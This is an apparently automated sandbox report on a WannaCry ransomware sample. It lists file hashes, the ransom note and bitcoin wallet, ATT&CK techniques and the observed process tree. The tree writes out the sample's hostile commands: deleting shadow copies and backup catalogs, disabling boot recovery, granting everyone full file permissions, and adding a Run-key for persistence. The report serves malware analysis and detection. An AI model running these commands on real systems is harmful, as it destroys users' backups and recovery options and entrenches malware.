wannacry | ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

Target

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Size

3.4MB
MD5

84c82835a5d21bbcf75a61706d8ab549
SHA1

5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
SHA256

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
SHA512

90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244

Score

10^/10

ransomware discovery spyware worm wannacry persistence

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Executes dropped EXE 16 IoCs

Processes:

taskdl.exe@[email protected]@[email protected]taskse.exe@[email protected]taskdl.exetaskhsvc.exetaskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]taskdl.exetaskse.exe@[email protected]

pid	process
1784	taskdl.exe
1364	@[email protected]
1488	@[email protected]
2540	taskse.exe
3920	@[email protected]
2108	taskdl.exe
2628	taskhsvc.exe
1292	taskdl.exe
1992	taskse.exe
3880	@[email protected]
4012	taskdl.exe
2612	taskse.exe
1896	@[email protected]
1636	taskdl.exe
3436	taskse.exe
3952	@[email protected]

Modifies extensions of user files 26 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\InstallBackup.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\WatchLock.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\GetLimit.png.WNCRYT => C:\Users\Admin\Pictures\GetLimit.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\GetLimit.png.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\InstallBackup.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\RedoUnprotect.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\RevokeBackup.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\WatchLock.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\InstallBackup.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\MountRead.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\JoinDisconnect.tif.WNCRYT => C:\Users\Admin\Pictures\JoinDisconnect.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\MountRead.tiff.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\MountRead.tiff.WNCRYT => C:\Users\Admin\Pictures\MountRead.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\WatchLock.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\RevokeBackup.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\RevokeBackup.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\GetLimit.png.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\JoinDisconnect.tif.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\RevokeBackup.tiff.WNCRYT => C:\Users\Admin\Pictures\RevokeBackup.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\RedoUnprotect.tiff.WNCRYT => C:\Users\Admin\Pictures\RedoUnprotect.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\RedoUnprotect.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\WatchLock.tiff.WNCRYT => C:\Users\Admin\Pictures\WatchLock.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\RedoUnprotect.tiff	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File renamed	C:\Users\Admin\Pictures\InstallBackup.tiff.WNCRYT => C:\Users\Admin\Pictures\InstallBackup.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created	C:\Users\Admin\Pictures\JoinDisconnect.tif.WNCRYT	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\Pictures\MountRead.tiff.WNCRY	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Drops startup file 2 IoCs

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDCBD0.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDCBF6.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Loads dropped DLL 7 IoCs

Processes:

taskhsvc.exe

pid process

2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

640 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe

pid	process
640	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\yitnqofnjvk729 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""	reg.exe

JavaScript code in executable 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe	js
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe	js
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll	js
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll	js

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe@[email protected]

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

2544 vssadmin.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3452 reg.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

taskhsvc.exe

pid process

2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe
2628 taskhsvc.exe

pid	process
2544	vssadmin.exe

pid	process
3452	reg.exe

pid	process
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe
2628	taskhsvc.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

Processes:

taskse.exevssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exe

description	pid	process
Token: SeTcbPrivilege	2540	taskse.exe
Token: SeTcbPrivilege	2540	taskse.exe
Token: SeBackupPrivilege	2112	vssvc.exe
Token: SeRestorePrivilege	2112	vssvc.exe
Token: SeAuditPrivilege	2112	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2144	WMIC.exe
Token: SeSecurityPrivilege	2144	WMIC.exe
Token: SeTakeOwnershipPrivilege	2144	WMIC.exe
Token: SeLoadDriverPrivilege	2144	WMIC.exe
Token: SeSystemProfilePrivilege	2144	WMIC.exe
Token: SeSystemtimePrivilege	2144	WMIC.exe
Token: SeProfSingleProcessPrivilege	2144	WMIC.exe
Token: SeIncBasePriorityPrivilege	2144	WMIC.exe
Token: SeCreatePagefilePrivilege	2144	WMIC.exe
Token: SeBackupPrivilege	2144	WMIC.exe
Token: SeRestorePrivilege	2144	WMIC.exe
Token: SeShutdownPrivilege	2144	WMIC.exe
Token: SeDebugPrivilege	2144	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2144	WMIC.exe
Token: SeRemoteShutdownPrivilege	2144	WMIC.exe
Token: SeUndockPrivilege	2144	WMIC.exe
Token: SeManageVolumePrivilege	2144	WMIC.exe
Token: 33	2144	WMIC.exe
Token: 34	2144	WMIC.exe
Token: 35	2144	WMIC.exe
Token: 36	2144	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2144	WMIC.exe
Token: SeSecurityPrivilege	2144	WMIC.exe
Token: SeTakeOwnershipPrivilege	2144	WMIC.exe
Token: SeLoadDriverPrivilege	2144	WMIC.exe
Token: SeSystemProfilePrivilege	2144	WMIC.exe
Token: SeSystemtimePrivilege	2144	WMIC.exe
Token: SeProfSingleProcessPrivilege	2144	WMIC.exe
Token: SeIncBasePriorityPrivilege	2144	WMIC.exe
Token: SeCreatePagefilePrivilege	2144	WMIC.exe
Token: SeBackupPrivilege	2144	WMIC.exe
Token: SeRestorePrivilege	2144	WMIC.exe
Token: SeShutdownPrivilege	2144	WMIC.exe
Token: SeDebugPrivilege	2144	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2144	WMIC.exe
Token: SeRemoteShutdownPrivilege	2144	WMIC.exe
Token: SeUndockPrivilege	2144	WMIC.exe
Token: SeManageVolumePrivilege	2144	WMIC.exe
Token: 33	2144	WMIC.exe
Token: 34	2144	WMIC.exe
Token: 35	2144	WMIC.exe
Token: 36	2144	WMIC.exe
Token: SeTcbPrivilege	1992	taskse.exe
Token: SeTcbPrivilege	1992	taskse.exe
Token: SeTcbPrivilege	2612	taskse.exe
Token: SeTcbPrivilege	2612	taskse.exe
Token: SeTcbPrivilege	3436	taskse.exe
Token: SeTcbPrivilege	3436	taskse.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

@[email protected]@[email protected]@[email protected]@[email protected]@[email protected]@[email protected]

pid	process
1488	@[email protected]
1364	@[email protected]
1488	@[email protected]
1364	@[email protected]
3920	@[email protected]
3920	@[email protected]
3880	@[email protected]
1896	@[email protected]
3952	@[email protected]

Suspicious use of WriteProcessMemory 78 IoCs

Processes:

ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.execmd.exe@[email protected]cmd.exe@[email protected]cmd.exe

description	pid	process	target process
PID 424 wrote to memory of 584	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 424 wrote to memory of 584	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 424 wrote to memory of 584	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	attrib.exe
PID 424 wrote to memory of 640	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 424 wrote to memory of 640	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 424 wrote to memory of 640	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	icacls.exe
PID 424 wrote to memory of 1784	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 1784	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 1784	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 2056	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 2056	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 2056	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 2056 wrote to memory of 2308	2056	cmd.exe	cscript.exe
PID 2056 wrote to memory of 2308	2056	cmd.exe	cscript.exe
PID 2056 wrote to memory of 2308	2056	cmd.exe	cscript.exe
PID 424 wrote to memory of 1364	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 1364	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 1364	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 1360	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 1360	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 1360	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 1360 wrote to memory of 1488	1360	cmd.exe	@[email protected]
PID 1360 wrote to memory of 1488	1360	cmd.exe	@[email protected]
PID 1360 wrote to memory of 1488	1360	cmd.exe	@[email protected]
PID 424 wrote to memory of 2540	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 2540	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 2540	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 3920	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 3920	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 3920	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 2548	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 2548	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 2548	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	cmd.exe
PID 424 wrote to memory of 2108	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 2108	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 2108	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 1364 wrote to memory of 2628	1364	@[email protected]	taskhsvc.exe
PID 1364 wrote to memory of 2628	1364	@[email protected]	taskhsvc.exe
PID 1364 wrote to memory of 2628	1364	@[email protected]	taskhsvc.exe
PID 2548 wrote to memory of 3452	2548	cmd.exe	reg.exe
PID 2548 wrote to memory of 3452	2548	cmd.exe	reg.exe
PID 2548 wrote to memory of 3452	2548	cmd.exe	reg.exe
PID 1488 wrote to memory of 1672	1488	@[email protected]	cmd.exe
PID 1488 wrote to memory of 1672	1488	@[email protected]	cmd.exe
PID 1488 wrote to memory of 1672	1488	@[email protected]	cmd.exe
PID 1672 wrote to memory of 2544	1672	cmd.exe	vssadmin.exe
PID 1672 wrote to memory of 2544	1672	cmd.exe	vssadmin.exe
PID 1672 wrote to memory of 2544	1672	cmd.exe	vssadmin.exe
PID 1672 wrote to memory of 2144	1672	cmd.exe	WMIC.exe
PID 1672 wrote to memory of 2144	1672	cmd.exe	WMIC.exe
PID 1672 wrote to memory of 2144	1672	cmd.exe	WMIC.exe
PID 424 wrote to memory of 1292	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 1292	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 1292	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 1992	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 1992	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 1992	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe
PID 424 wrote to memory of 3880	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 3880	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 3880	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	@[email protected]
PID 424 wrote to memory of 4012	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 4012	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 4012	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskdl.exe
PID 424 wrote to memory of 2612	424	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	taskse.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

584 attrib.exe

pid	process
584	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\SysWOW64\attrib.exe
attrib +h .
2⤵
- Views/modifies file attributes
PID:584

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:640

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1784

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 279991597324680.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
3⤵
PID:2308

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected] co
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1364

C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2628

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @[email protected] vs
2⤵
- Suspicious use of WriteProcessMemory
PID:1360

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected] vs
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1488

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
4⤵
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
5⤵
- Interacts with shadow copies
PID:2544

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2540

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "yitnqofnjvk729" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
3⤵
- Adds Run key to start application
- Modifies registry key
PID:3452

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2108

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1292

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3880

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4012

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1896

C:\Users\Admin\AppData\Local\Temp\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1636

C:\Users\Admin\AppData\Local\Temp\taskse.exe
taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3436

C:\Users\Admin\AppData\Local\Temp\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:2112

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\0.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\00000000.res

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C:\Users\Admin\AppData\Local\Temp\1.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\10.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\11.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\12.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\13.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\14.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\15.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\16.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\17.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\18.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\2.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\279991597324680.bat

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C:\Users\Admin\AppData\Local\Temp\3.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\4.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\5.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\6.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\7.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\8.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\9.WNCRYT

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

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C:\Users\Admin\AppData\Local\Temp\@[email protected]

